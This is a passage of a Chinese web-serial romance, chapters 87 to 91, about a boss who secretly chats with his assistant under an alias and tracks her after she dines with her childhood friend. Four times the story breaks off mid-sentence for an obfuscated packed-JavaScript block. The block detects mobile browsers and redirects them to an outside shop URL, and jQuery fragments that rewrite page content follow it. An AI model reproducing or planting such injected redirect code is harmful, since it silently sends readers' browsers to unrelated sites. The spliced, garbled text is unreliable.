谁知道那人悟错了他的意思,脑子缺根筋似的,“我惹不起,你惹得起,还是当事人报仇更爽!周哥你自己来!我把我这新的小号送给你了,人已经加上了,我还一句话没聊呢。”
说着直接把手机甩给了他,“手机也送你,哥。”
周衍原想丢回去。
刚加上的那边却发了条消息过来。
-同学,请问你加我有什么事吗?
他盯着手机一笑。
同学?
请问?
这是傅今棠?居然还有这么礼貌的时候。
两人从小就不对付,‘请’这种字眼,他以为傅今棠只会用在去死前面。
于是手贱聊了两句。
谁知道一聊就聊了几个月。
“你知道,如果江迟鹿后面发现是你,会发生什么吗?”周衍啧了一声,“你会被揍得很惨。”
虽然都已经几年过去了,但一想起来当初被傅今棠举起餐厅椅子砸在身上的感觉,还是疼。
傅靳年抬了下眼,没把他的话放心上,“你懂什么,我跟她不一样。”
“呵,有什么不一样?你们现在不就跟仇人一样吗?要不是你用员工合同压着人家,估计早就飞走了。”
傅靳年呼吸一颤,紧抓手机,短暂的沉默过后开口道:“会回到曾经的。”
这话过于执拗。
周衍呵笑了声,没再管他。
挨打了就知道了,还是得事教人。
......
江迟鹿莫名地养成了视奸N的朋友圈的习惯。
他每次发的都是一些生活近照。
但是就是让人离不开眼睛。
或许那是一种对未来美好生活的期许。
她想过上和N一样的生活。
住大房子,开豪车,不计其数的名牌。
她一直都很相信自己,一定能过上这样的日子。
毕竟她聪明又努力。
以前是这样的。
但是自从知道剧情后,反而不太敢想了。
她胆怯地只敢追求自己的普通生活。
害怕因为想要更多而失去所有。
海边被苏轻的朋友丢钱羞辱时,想要得到更多,比苏轻还多的想法冒了出来。
N的出现,则是让那颗种子慢慢发芽。
每看一次他分享的那些生活,那颗种子便多长一些。
-鹿鹿,下班了一起吃个饭吧?很久没一起吃了,去南长那家餐厅?听说出了新品。
祁柏言发来的消息让她短暂的放下那些思绪。
-好啊,正好今天也不忙。
估计能准时下班的。
江迟鹿答应后,便放下手机,认认真真完成今天的工作,顺便整理了一下明天的工作。
即便上面还有姜则这个总助,但是她要做的事情是一点也不少啊。
“小江,今天我们这一层聚餐,一起啊。”Jude从外面走过来叫她。
江迟鹿愣了一下:“这么临时?我已经有约了诶。”
“啊这样啊,没事,我们就是临时起意,你有约了就算了,我去问一下姜助和傅总。”
江迟鹿点点头,收拾自己的东西下班。
......
姜则做完最后一点收尾工作,敲响办公室的门跟傅靳年汇报。
汇报结束后,他客套的邀请:“今天他们临时起意大家一起聚餐,傅总您要去吗?”
在姜则的心里,只有一个答案——不去。
办公桌正在签署文件的男人顿了一下。
指尖钢笔签署完收笔,他扫了一眼姜则,淡淡开口:“去。”
“好的。”姜则是下意识的回应,回应过后人就顿住了。
老板刚刚说什么?
他去?
不是的吧,是自己听漏了吧。
他肯定说的是不去对不对。
“还有事吗?”傅靳年关上文件放在一边,手上还握着钢笔,盯着他。
姜则如芒在背,“没事,那我下去了。”
“等等。”
傅靳年叫住他,“选好一点的餐厅,我请客。”
第八十七章 她想要更多
姜则出了办公室,看着一圈同事,轻咳道,“那个,现在有个好消息和一个坏消息,你们先听哪个?”
大家纷纷眼神看向他,神色紧张,“不会要加班吧?”
姜则摇头,“不是加班。”
大家松了口气:“不是加班就好,那是啥啊?妈呀,不会要裁员了吧?减薪?那还不如加班。”
“都不是,只是晚上的聚餐傅总也参加而已。”
“妈呀,他参加干啥啊。”
“就是啊,傅总居然也参加?”
“感觉傅总好奇怪。”
“那好消息是?”
姜则轻咳一声,“傅总说他请客,让我选好一点的餐厅。”
办公室里顿时兴奋起来,“选好一点是多好啊?单消两千往上的行吗?”
姜则点头。
办公室里顿时呼声更高了。
“傅总真大方。”
姜则开口问:“有没有推荐的餐厅?”
一个女孩举手:“我知道,南长街区有家餐厅,最近出了好多新品,网上探店博主都说好吃呢,我还没去吃过.......”
南长那一道的都贵,都傅总请客了,当然要吃贵的。
姜则便预约去了。
好在有傅靳年的名头,不然那家餐厅还需要提前一天预约。
//
江迟鹿正坐在车上补口红,祁柏言开着车堵在路上。
她关上镜子收进包里,这个包是用上个月新发的工资买的,一万多,买完之后她的工资就只剩下几千。
要不是有周礼上次转的五万,她估计连上个月的花呗都还不完。
想着便叹了口气。
明明工资也不算低了,但在京市这种地方还是感觉怎么都不够花,尤其自己身处最繁华的地段,衣服,包,不买名牌都成了异类。
偶尔还想吃顿好的,根本存不了一点钱。
“怎么闷闷不乐的?”祁柏言温润的嗓音问她。
江迟鹿笑了笑,开口道:“没有闷闷不乐,我在想是什么新品,让你迫不及待邀请我来品尝了。”
“其实......”他低头一笑,“主要是想着挺久没跟你一起吃饭了。”
江迟鹿哦了声,“那要不放假回我妈那一趟,她昨晚跟我打电话也说想跟你吃饭了,上次过生日都没能跟你好好吃饭,唉怪我......”
“那.....这次一起回去?”他笑着看了一眼江迟鹿。
江迟鹿低着头在玩手机,应了一声,“嗯好。”
祁柏言目光看向前面,开口问:“你最近很忙?好几次给你发消息好像都很晚才回。”
江迟鹿关掉手机,犹豫了一下开口:“其实,最近工作还好,准时下班,但是我确实挺忙的。”
“嗯?”
“虽然我现在跟在傅总身边认识到更多大佬,但是......会有种自卑感,大家都好厉害。”
她叹了口气,“只能努力再努力,回到家吃完饭,要练英语口语,还要看些我们公司专业相关的书,差不多弄到十一点吧,有时候还忍不住想打两把游戏。”
这都还是江迟鹿已经极力克制过后了。
原本给自己定的是彻底不玩了,现在她正是事业上升期呢。
但是朋友一叫,她就忍不住。
祁柏言笑了笑,他开口道:“确实好辛苦,今天带你好好补补,再放松放松?吃完饭去环球?”
江迟鹿点头,“可以啊,环球我请你玩,晚饭就交给你了。”
车又堵上了,祁柏言侧过头看向她,“本来就是我邀请你的,下次你来?”
江迟鹿摇头,语气调侃:“大哥哥,你好像就没给过我这个‘下次’的机会,也得给我一个机会孝敬孝敬你吧?要是让我妈知道我天天压榨你,我又得被唠叨了。”
“嗯哼,行。”
路上大概堵了得有一个多小时,江迟鹿在车上无聊,把剩下一半的专业书都看完了。
终于到达餐厅的时候,她后悔道:“下次我们坐地铁来。”
祁柏言笑着点头,“好。”
两人往里面走,发现今天的餐厅和以往的安静不一样,来了一群的人。
少有员工聚餐来这种地方的,这还是江迟鹿第一次见。
等她仔细一看,看清楚那一群人都是自己的同事......中间还坐着傅靳年后,顿时头皮发麻。
她拉着祁柏言赶紧坐去了角落。
“他们居然来这里聚餐。”江迟鹿一边往那看,一边摇头,“真是财力惊人。”
祁柏言往那边扫了一眼,“所以,你今天是拒绝了同事聚餐来跟我吃饭?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288960|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>“对啊,谁知道他们居然选上了跟我们一样的地方,不,要是他们自己选,肯定舍不得选这么贵的,我估计是傅靳年请客。”
祁柏言唇角笑了笑,开口道:“要不我们先点餐?”
“哦,好。”她拿过餐单,选了两道新品,还有她上次来吃过一次的牛排。
祁柏言加了些,都是她喜欢吃的。
“喝酒吗?”祁柏言问她。
“嗯?你不是要开车吗?”
“我不喝,你喝不喝?”祁柏言解释:“上次跟朋友过来,存了一瓶酒没喝。”
江迟鹿眼睛往上抬了抬,亮晶晶看着他:“很贵吗?”
祁柏言嘴角带笑,“嗯,我不怎么喝酒你知道的,你今天要不要解决一下?”
江迟鹿咽了咽口水,笑着点头,“开吧。”
是一瓶红酒,一万多一瓶。
服务员过来醒酒。
江迟鹿其实是喝不大出酒的区别的,但是她知道这酒能装逼。
她端起红酒杯,看似随意的拍了一张照片,实则挑了自己最好看的角度,以及尽量把这家餐厅的标志物拍进去。
拍好后直接原图直出发了个朋友圈。
-嗯嗯嗯,好香好香。
她欣赏了一下自己的朋友圈,嗯,真是可爱又漂亮。
“我们开吃吧!”她笑着看向祁柏言。
他在她拍照的时候就安静等着,这似乎已经是两人之间的共识。
等她说开吃,才拿起刀叉切牛排。
切好第一份,他下意识想递给江迟鹿。
但是之前已经被她严重申明过。
指腹在餐具上摩挲一番,他问江迟鹿:“味道怎么样?”
江迟鹿笑眯眯点头,“好吃好吃,贵果然有贵的道理。”
虽然她吃三百块钱的烤肉也觉得好吃,但是几千块钱一顿饭,心里那种满足感比味蕾的满足感更爽。
总有一天她能想吃就吃,日常吃到腻。
都说欲望是灵魂的先知。
她还在读书的时候,心中幻想的未来就是在大城市的高级楼厦里穿着简单却有质感的衣服,坐在办公室工作,发工资了能买自己想买的漂亮衣服,吃各种没吃过的美食。
现在这个愿望已经实现了。
人当然是不会知足的,她还想要更多。
第八十八章 试探
另一边,员工们兴奋的看着菜单上那些贵得要死的菜品,兴致勃勃的要把没吃过的都点一下。
而傅靳年的眼神落在姜则身上。
姜则眼睫颤了颤,一时不知道自己做错了什么,让老板这样盯着自己。
难道是这次的餐厅选的档次太低了吗?
“傅总,您是觉得哪里有问题吗?”
刚问出口,傅靳年便回答了,“不是说员工聚餐吗?”
“是啊,有什么问题吗?”
“不是所有人?”他的视线在周围扫了一圈。
姜则终于反应过来了,“啊,是有人没来,江迟鹿说她有约了,所以没有来,傅总你不用上心,她也不是故意的,她估计.......也不知道您会来,要是知道的话肯定会来。”
傅靳年眼睫颤了颤,盯着他,声音似乎有些郑重,“我没有伤心。”
姜则顿了下才反应过来,立即解释:“我不是说你伤心,我是说您别上心,别放在心上的意思。”
他怎么敢因为一个员工没来就揣测上司伤心了。
傅靳年吐出一口气,“嗯,没什么。”
他拿出手机,点进了和江迟鹿的聊天框。
想问她为什么不来,但是估计她给自己的理由会跟姜则一样。
于是他换到了另一个号,发消息问。
-要玩吗?
对面过了一会儿才回复。
-现在?我在外面吃饭诶,晚上吧。
‘跟谁吃饭?’
这是他第一个想问的,但是现在两人关系还不适合问这种问题,于是他换了个问题。
-要吃到几点啊?
江迟鹿那边回复:
-应该吃不了多久,但是吃完之后想去环球玩一下,我们约晚上十点?
傅靳年盯着后面那字,扯了个冷笑,玩到这么晚才回家。
-好,等你。
他发完消息点进江迟鹿朋友圈。
第一眼看到她刚发的照片时就感觉熟悉。
抬头看了一眼周围的环境,再低头仔细看她的照片,照片里面,桌上的餐巾有餐厅LOGO。
和他在一家餐厅。
目光在餐厅里巡逻起来。
搜寻了一圈,视线落在远处角落的一道身影上。
江迟鹿身上的外套脱掉了,白色的修身衬衫,马尾低扎着,手里一杯红酒,视线放在对面,侃侃而谈。
而对面......
一盆绿植挡住了男人的大概。
只能模糊看出是个男人。
她在跟男人吃饭,是谁?
目光紧紧盯着那边,下意识的想起身走过去。
但是员工开始跟他敬酒了。
另一边。
江迟鹿忍不住拿出镜子偷瞄傅靳年那边,总隐隐觉得他看到自己了。
她对祁柏言说:“你有没有感觉刚刚有人盯着我们看。”
祁柏言沉默了一下,他开口:“鹿鹿你很害怕吗。”
“啊?”
祁柏言:“其实,我们可以不用这么藏来藏去的,和傅总如实说的话,也没什么。”
江迟鹿摇头,“他现在都已经知道我编造的男朋友是假的了,要是再把你暴露了,那我成什么了,一直在撒谎骗他,现在是事业上升期,再忍一忍,而且你的项目应该也快结束了,到时候你就不在公司了。”
江迟鹿一口咬下牛肉,“快,吃了我们直接去环球。”
祁柏言看着她不断把牛肉塞进嘴里,两边的腮帮子都鼓了起来,嘴角忍不住扬了扬,应她的话,“好。”
两人没几下就吃完了,江迟鹿让服务员把剩下的半瓶红酒打包,还有一份没怎么动的小点心也打包。
祁柏言盯着那只剩下一半的红酒,惊讶的看着江迟鹿,“这红酒的后劲挺大的,你什么时候喝了这么多。”
祁柏言吃饭一直是细嚼慢咽的,江迟鹿让他吃快点,他就只顾着自己吃了,没想到一会儿没看着她,居然把半瓶红酒都喝了。
江迟鹿捂了一下嘴巴,盯着他,有些不好意思地开口:“哇,我居然喝了这么多,但是感觉脑子还是清醒的。”
祁柏言无奈摇头,提着她的包起身,“走吧。”
两人从餐厅出去。
而傅靳年刚应付完完员工们的敬酒,下意识往江迟鹿那边看去。
空荡荡——
哪去了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288961|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
傅靳年人从餐椅上站了起来,皱着眉。
“你们好好吃,我还有事情先走了。”
说完,傅靳年起身便离开了。
老板一走,大家更开心了,“谁能有我们老板这么体贴啊,来走个过场,帮我们付钱,也不耽误我们聊天就走了。”
姜则看着傅靳年匆匆出去的背影,总觉得原因不是这样的。
傅靳年坐上了副驾驶,司机还吓了一跳,“傅总。”
他利落吩咐,“去环球。”
刚说出口,突然想到自己似乎没有去环球的借口,要是和江迟鹿遇上了她问自己为什么在那怎么办。
他立即给姜则发消息。
-吃完饭后带她们去环球玩吧,费用也报销。
对面回复很快。
-好!傅总。
傅靳年看着窗户外的景色,心里却乱糟糟的。
那个人是谁。
江迟鹿最近和谁走得最近。
在网上肯定是和自己,在线下也应该是自己,她现在可是他的助理。
还有一个人,是祁柏言。
江迟鹿原来的项目熟悉,所以那个项目的工作就交给了她,她除了每天和自己见面,就是和祁柏言了。
但是祁柏言还喜欢他前女友啊.....
傅靳年又给祁柏言发了一条消息。
-最近是江迟鹿在追进你们的项目,沟通方面感觉怎么样?
他盯着手机,对面却迟迟没有回复。
另一边,祁柏言正在开车,江迟鹿已经靠在副驾驶睡着了。
他看了眼她的情况,调转方向直接往她宿舍去。
开车开到一半,突然又想到回她宿舍的话,**门禁密码,进不去。
想了想,还是决定送江迟鹿回她妈妈那暂时住一下,虽然路程有些远,但是明天是休假日。
正这样想着,他拿出手机看消息。
措不及防就看到了傅靳年发来的消息。
车内壁灯映出他深邃的眉眼,眉心紧紧皱起。
这下他能确定傅靳年在餐厅是注意到江迟鹿了。
而他因为被那颗绿植遮挡,傅靳年不确定,这不就来试探自己了。
第八十九章 他再多等等吧。
祁柏言盯着消息,却不想回复。
心里像是被人揪住了一样。
傅靳年肯定还没有忘记她吧。
他要给他这个机会吗。
后面的喇叭声响起,祁柏言抬头一看,绿灯已经过了。
他开车行施,余光又扫了一眼副驾驶睡着的人。
最后,他没有送江迟鹿回家。
而是将人带回了自己家里。
抱着人解锁进去,他脚步一顿。
看着沙发上坐着的女士。
眉心皱了皱,“你怎么来了。”
女人看起来很年轻,三十出头的样子。
实际是保养的好,她是祁柏言的生母。
“这是?江迟鹿?”
祁柏言没有回她的话,冷声开口,“你来干嘛。”
“来看看你过得好不好,没想到看到你抱着个姑娘回来?你喜欢她?”
“跟你没什么关系。”他将人抱去了卧室放上床,给她脱掉鞋,盖好被子。
“小言,你跟妈妈回去吧,你能得到更多。”女人苦口婆心劝他。
祁柏言冷着脸色,“你走吧。”
他走出去,关上了卧室的门。
女人拽住他的手,“小言,你是不是看不起我......”
“请你离开。”祁柏言抽回自己的手,指了指门口,“走吧。”
“我不走,在你心里,你的亲妈连那个陌生人都比不上是吗。”
“她不是陌生人。”他脸色更差了,声音冰冷,“你是陌生人,她也不会是陌生人。”
“你说什么?”
“怎么?接受不了吗?这难道不是事实嘛?一直到今年,我都不知道我爸妈居然还活在这个世上,如果......”
祁柏言闭了嘴,他声音有些哑,“你走吧。”
“可我那也是形势所迫啊,万一我去看你,我认了你,被她的人发现了怎么办?你还能好好活着?”
祁柏言眼里闪过一丝厌恶,“二十多年没妈的日子我都过来了,我宁愿一直以为我没有爸妈了,我也不想当小三的儿子。”
“啪——”的一声,女人一巴掌扇在他的脸上。
她唇瓣在哆嗦,声音发哑,“你怎么能这么说。”
“我现在不是来认你了吗。”
“呵,你只是想要一个能帮你抢财产的继承人,你不是想要你的儿子。”
他不想再和她多费口舌,推着人往外走,锁了门。
屋内,阿姨这才从保姆房里出来,“小祁......没事吧?”
“以后不要让她进来。”
见他脸色冷,说话声音也冷,她立即道歉,“好,对不起,她说是你妈妈我就......”
她看那个美妇人又穿一身的奢牌,拎的包都是爱马仕,尤其.....跟祁柏言长得也像,自然没起疑心,就让人进来了。
在女人进来后,她也一直在旁边打扫卫生守着,不敢离开。
直到听到门解锁的声音,女人让她回房间,她这才避了一下。
但是看情况,两人的关系似乎一点也不好。
她在祁柏言这干的也挺久了,都没见过他的家人。
“小祁,一家人有什么误会的话还是要说清楚。”
她年纪跟他妈妈一样大,平时和祁柏言的关系也挺松散,甚至让她一起上桌吃饭,这才开口劝了句。
祁柏言知道她这话是担心,但他完全不想提及和那个父母有关的一切,开口道,“阿姨,卧室有个女孩,你帮她卸个妆吧。”
“女,女孩?”
阿姨眼睛一下更亮了,注意力也被吸引开了,笑着问:“交女朋友了啊?”
祁柏言摇了摇头,“算了,你煮醒酒汤吧,我过去弄。”
家里也没有卸妆什么的,阿姨平时也不化妆,他拿着手机叫外卖送卸妆的。
下单好后,他走进卧室,按开了一盏小灯,暗暗的房间里,光源映出床上人的轮廓。
外面的天还没有黑完,从落地窗往外看,墨蓝色的天。
他看着床上的人。
指尖小心翼翼地摸了摸女孩的眉毛。
想到她高中时不知道在哪学的,拿着小刀片给自己修眉,一不小心刮伤,一道红痕在她白净的脸上极其明显。
他刚放暑假回来,看到她因此趴在沙发闷闷不乐,对着镜子惋惜眉毛缺了一块。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288962|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于是拿了丛阿姨的眉笔给她描。
“本来就好看,还修什么。”他自然不懂那个年纪女孩的心事。
只听她嘀咕,“就是想修。”
“哇,你描的不错诶。”她抱着镜子在沙发臭美,眉毛扬起来,心思活络地问他:“你是不是经常给女朋友画眉毛?”
“没有女朋友。”他老实说完,又补了一句,“一直都没有。”
她盯着镜子,一只手摸眉毛,“怎么可能,你成绩好,长得帅,性格也很好,没有女朋友?你不会是单身主义吧?”
“也不是......”他随手抓起一个抱枕给她垫在身后,自然地拿起眉笔给她画另一边,“以后会有。”
“哇,你怎么这么确定,难道你有喜欢的人了?是你们学校的吗?诶,你跟我聊一下你们大学嘛,是不是大家都很成熟?”
“别乱动。”他握笔那只手压了下她的脑袋,“成熟不成熟的也得分人,我看你啊,大学毕业了也成熟不了。”
江迟鹿切了一声,“小看谁,我现在就很成熟了好不好,我还要赚大钱给我爸妈换大房子呢!能看江景的那种!”
“叔叔阿姨还没回来?”他收笔,指尖摸了摸她鼻尖,“少吃点垃圾食品,长痘了。”
“哼,长痘也好看。”她抱着镜子又去看另一边的眉毛,“啊!怎么两边不一样!”
才到他胸口的人跳起来,竖着眉毛喊要杀了他。
他答应给她买新手机才被原谅。
“嗯.....”床上的人翻了个身,习惯性地踢掉了被子。
祁柏言上前,摸了摸她的额头,拉着被子搭在她身上。
盯着女孩弯弯细细的眉。
心底突然后悔了。
她读高中时。
他在大学里有空便会给她写信,信里.....他的心意很明显。
可他从来没有给她寄过一封,怕她会分心。
小姑娘是个优绩主义,当初没有上最好的京一中,一个人躲在房间哭了好久。
他想,他再多等等吧。
说是心底后悔,可如果再重来一次,他也还是不会把信寄给她。
第九十章 她家里
环球影视城,一大伙人脸上挂着玩上头的兴奋,走走停停。
其中一个员工盯着远处的一道身影。
那道身影挺拔清致,远远的就透着一种独有格调,一眼就让人认出来,他有些惊讶:“那是不是傅总?傅总也来了?那怎么不跟我们一起玩呢。”
姜则目光扫过去,果然是傅靳年,而且,他好像还在找什么东西,左顾右看的。
“傅总不会在找我们吧?姜助,傅总给你发消息没有,不会真是在找我们吧。”
姜则摇头,“没有发消息。”
他的手机一直是二十四小时待命,一条消息也不会漏。
“那傅总这是在找谁啊,看起来真的很着急的样子啊。”
他们在远处看着,也不敢上去打扰。
傅靳年转了好大一圈,都没看到人,他还去私下联系了工作人员帮自己查江迟鹿玩了哪些项目,结果根本没有她的登记。
说明她没有玩。
难不成那个男的就拉着她来这溜达吗。
坐在树下休息区长椅上,他拿出手机给江迟鹿发消息。
N:
-玩的怎么样?
-马上要到我们约定的时间了。
两条消息发过去,没有收到任何回复。
傅靳年又发了一条过去。
还是没有回复。
他有些担心,之前在餐厅的时候看到桌上有红酒,她不会是被男人灌醉了吧。
那个男的不会对她做什么吧。
越是想下去,心里越发慌。
他忍不住打了一个语音电话过去。
对面过了一会儿才接。
“喂。”是道男音,还是个成熟男人的。
他心里发紧,张口问,“江迟鹿在吗?”
祁柏言看了一眼手机备注,N,是江迟鹿提到过的那个打游戏很厉害的大佬。
“她在,但是现在不方便接听电话,有事情吗?我可以帮你转述。”
**谁啊,还转述。
不方便接听电话又是什么鬼。
“你是谁?”傅靳年声音冷了下去。
“我是她朋友。”
“朋友?她为什么不方便接听?。”
祁柏言听出了对方的恶意和揣测,他开口解释:“我们刚吃完饭回来,她喝醉了,现在睡着了,所以不方便接听,有问题?”
“你这话就有问题,她前不久才跟我约好了晚上打游戏,怎么可能喝醉成这样。”
祁柏言坐在床上,有些无奈,看了一眼床上躺着的人,心想她这打游戏的朋友还挺关心她的。
“那酒喝着没什么感觉,但是后劲大,她估计也没想到吧。没什么事情我挂了。”
傅靳年看着自己被挂掉的电话,心里一股闷火发泄不出来。
随随便便就敢喝醉成这样。
她真是胆子大。
傅靳年拿起手机给齐佑筠发消息。
-你给江迟鹿打视频确认一下她现在安不安全。
-啥意思?她被**了啊。
-......先打。
齐佑筠没法,赶紧给江迟鹿打了个视频电话。
看到对面是个陌生男人还愣了一下,“你,你好。”
祁柏言也没想到,江迟鹿就是睡了这么一会儿,居然接连两个朋友打来电话,还都是男孩子。
他眼神扫过床上的人,有些无奈。
“我是她朋友,她现在睡着了,你有事的话可以明天打给她,或者我帮你转述。”
“哦,我,我没什么事情,她是安全的吧?你......”
祁柏言点头,语气无奈:“我们俩家都认识,你不用担心。”
说完祁柏言把摄像头一转,“不是只有两个人,还有阿姨,另外谢谢你关心。”
齐佑筠懵懵懂懂的挂了电话,给傅靳年发消息。
-我打了,是个男的接的,江迟鹿她妈也在,肯定是安全的,你放心吧。
-男的?你认识吗?
-我跟江迟鹿就偶尔打打游戏,我对她身边的人不太了解的。
-长得怎么样。
-你问这个做什么?挺帅的啊。
-你截屏了吗?
-.....你神经啊,我跟个男人视频,我截什么屏?我没那爱好,你想看你自己打呗。
傅靳年倒是想打啊,但是用老板的身份没资格这么晚了还打过去,用N的身份也没资格。
不然他能叫齐佑筠帮自己打吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288963|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
夜风****,一个孤独的男人一路开车到居民楼外。
是上次送江迟鹿来过的——她家里。
虽然齐佑筠确定过了,但是他还是不放心。
亲眼确定一下才行。
“铃铃铃——”
门铃响时,丛晚正在厨房腌泡菜,她一身围裙,取了手套。
站在门口看到猫眼里的傅靳年,愣了一下才开门,“小傅?”
她惊讶地看着他。
傅靳年下意识往屋子里看了一眼,屋里空荡荡的,他开口:“阿姨你好。”
“啊,你来是?先进来吧。”丛晚让开一侧身体,“坐啊,我给你倒水。”
傅靳年走了进去,先将屋子环顾了一圈,才坐到沙发上,“谢谢阿姨,我是临时找江迟鹿有点事情。”
“你找迟鹿?迟鹿不在家里啊。”
丛晚怪异,“你没发消息问一下吗?这边离你们公司有点远,她很少回来的。”
他眼神暗下去,修长高挺的身体站了起来,“她没回来?”
“对啊。”丛晚看了一眼手机,“而且也没给我发消息说要回来啊,她要是回来的话会给我发消息的。”
丛晚抬头,眼神有些担忧:“是发生什么事情了吗?她现在应该在宿舍啊。”
他开口向丛晚解释,“今天原本是员工聚餐,但是江迟鹿说是有约了就没有一起,我在餐厅看到她跟另一个.....男人在吃饭,还开了酒,过了一会儿......两人就不见了,所以我有些担心。原来她没回来,不如您给她打个电话问一问?”
他话里话外,怎么听和江迟鹿一起吃饭的那个男人都不像是个好人。
丛晚顿时担忧了起来,拨过去电话,她皱着眉,“喂?鹿鹿?”
谁知道电话那边传来的是祁柏言的声音,“阿姨?鹿鹿她喝醉了,这会儿在我家睡着呢,您放心,刚刚也给她喂了醒酒汤。”
丛晚听到是祁柏言,提起来的心顿时放了下去。
但她转眼看到傅靳年专注又担忧看着自己的眼神。
大脑立即反应过来女儿交代过自己,不能......让傅靳年知道她和祁柏言的关系。
第九十一章 碍眼
她大脑反应很快,挂断电话,笑了笑,“小傅,谢谢你担心她啊,但是你放心吧,她没事的,刚刚打过去是她朋友接的,我们两家啊很熟悉的,不是坏人。”
说完,她还拍了拍傅靳年的肩膀,“麻烦你了,这么晚还开车过来,谢谢啊。”
傅靳年扫了一眼他的手机,有些迟疑,“是......亲戚吗?”
丛晚点头,“对的,很熟悉的,我跟他父母也认识,他父母也把鹿鹿当自己的女儿对待,所以不用担心的,以前也经常一起玩。”
她说完,心里把江迟鹿给骂了一顿,撒一个谎就得编无数个谎言去圆。
她积了半辈子的德都要给她败完了。
傅靳年点了点头,应了一声,“好,那我......先走了。”
丛晚看他孤身落寞的背影,忍不住叫住他,“这......天都黑了,你开车回去不知道几点了,明天再走吧,睡一晚。”
傅靳年礼貌垂首,“不用了,谢谢阿姨。”
“别客气啊,你就住鹿鹿的房间,她不常回来,被套还换的是新的,我刚还在厨房发了面粉,打算明天烙饼吃,正好你睡一晚,明天阿姨让你尝尝手艺。”
一大段话,傅靳年的注意力放在了‘鹿鹿的房间’几个字上。
是该拒绝的,但是......盛情难却。
“那......真的是太麻烦阿姨了。”
“哎呦不麻烦不麻烦,你在客厅等等,我去收拾一下房间,你坐啊。”丛晚越看他越满意,一边往房间去,一边给闺蜜发消息。
丛晚将江迟鹿房间里摆放的合照都收了起来。
祁柏言一直跟着奶奶长大,两家又是邻居,一来二去的熟悉了,经常互相串门一起吃饭,也拍过照片。
看着柜子里的合照,想了一下,她又拿了一张两人还是小孩的合照出来。
她想试探一下傅靳年的反应。
真的很在意鹿鹿的话,肯定也会好奇跟着鹿鹿一起长大的这个男孩是谁吧。
收拾好后,她将人带到房间,拉开江迟鹿的衣柜,“委屈你一下,你洗完澡就穿这个吧?应该能穿上吧,这个是我给鹿鹿买的睡衣,买大了,她没穿过。”
傅靳年看着她手上递过来的一套米白色的上下件睡衣,很自然地接过,“谢谢阿姨,不委屈。”
“行,要不要吃个夜宵?”丛晚很热情的招待他。
傅靳年微笑:“不用了阿姨,我不吃夜宵。”
丛晚也没有多说什么,让他进去洗澡了。
关上浴室的门,他站在浴室门口,手里是阿姨塞给他的衣服和毛巾,都是干净的。
但不知道是他嗅觉灵敏还是怎么的,总感觉......有江迟鹿身上的味道。
他拿着衣服的手往上抬了抬,像是在确认衣服上的味道。
“小傅。”
外面突然响起声音,他心脏刹那加快,手上的动作有些慌乱的放下衣服,头往门口偏,听门外的丛晚说:
“一次性的牙刷我给你放在门口这个柜子了,你洗完澡拿进去用。”
“嗯,好......谢谢阿姨,麻烦了。”他不习惯这样麻烦人,心里甚至开始后悔答应留下来。
.....像个变态。
不过这样的想法在洗漱好后,穿着身上并不合身的睡衣,站在江迟鹿的房间时消失得无影无踪。
江迟鹿的房间应该是家里的主卧,进门是书桌和书柜,靠着墙的是一张单人床,淡蓝色的窗帘严丝合缝。
他的视线放在书架上,上面摆了一些相框,都是她和阿姨的合照,其中......
看到一张三人合照,他眉眼蹙了一下。
那张照片里的丛阿姨还很年轻,两个小孩牵着手在她前面。
一个女孩一个男孩。
女孩肯定是江迟鹿,但是......男孩是谁?
难道江迟鹿还有哥哥?
他盯着照片看了一会儿,越看越觉得男孩的五官似乎还挺熟悉的。
但是想不起是谁。
“小傅,能不能请你帮我个忙。”门外传来丛晚的声音。
傅靳年过去开门:“阿姨,什么事情?”
“嗯......”她有些不好意思,拿着手机递给他,“我刚刚啊,跟我闺蜜说鹿鹿的上司长得可俊了,她想看看照片,你放心,她绝对不会乱发的,她就是想看看。”
傅靳年愣了一下,耳尖悄悄地红了,反应慢半拍似地接过了她的手
